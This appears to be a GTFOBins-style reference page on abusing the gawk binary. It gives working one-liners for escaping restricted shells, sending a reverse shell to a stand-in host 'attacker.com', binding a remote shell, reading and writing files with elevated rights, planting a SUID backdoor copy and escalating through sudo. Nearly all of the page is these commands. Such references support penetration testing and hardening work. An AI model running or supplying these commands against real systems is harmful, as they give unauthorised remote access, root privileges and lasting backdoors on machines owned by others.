.. / gawk

Shell | Non-interactive reverse shell | Non-interactive bind shell | File write | File read | SUID | Sudo | Limited SUID

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
gawk 'BEGIN {system("/bin/sh")}'
```

Non-interactive reverse shell

It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.

Run `nc -l -p 12345` on the attacker box to receive the shell.

```
RHOST=attacker.com
RPORT=12345
gawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
    s = "/inet/tcp/0/" RHOST "/" RPORT;
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
```

Non-interactive bind shell

It can bind a non-interactive shell to a local port to allow remote network access.

Run `nc target.com 12345` on the attacker box to connect to the shell.

```
LPORT=12345
gawk -v LPORT=$LPORT 'BEGIN {
    s = "/inet/tcp/" LPORT "/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

```
LFILE=file_to_write
gawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
LFILE=file_to_read
gawk '//' "$LFILE"
```

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which gawk) .

LFILE=file_to_read
./gawk '//' "$LFILE"
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo gawk 'BEGIN {system("/bin/sh")}'
```

Limited SUID

If the binary has the SUID bit set, it may be abused to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands (e.g., via `system()`-like invocations) it only works on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which gawk) .

./gawk 'BEGIN {system("/bin/sh")}'
```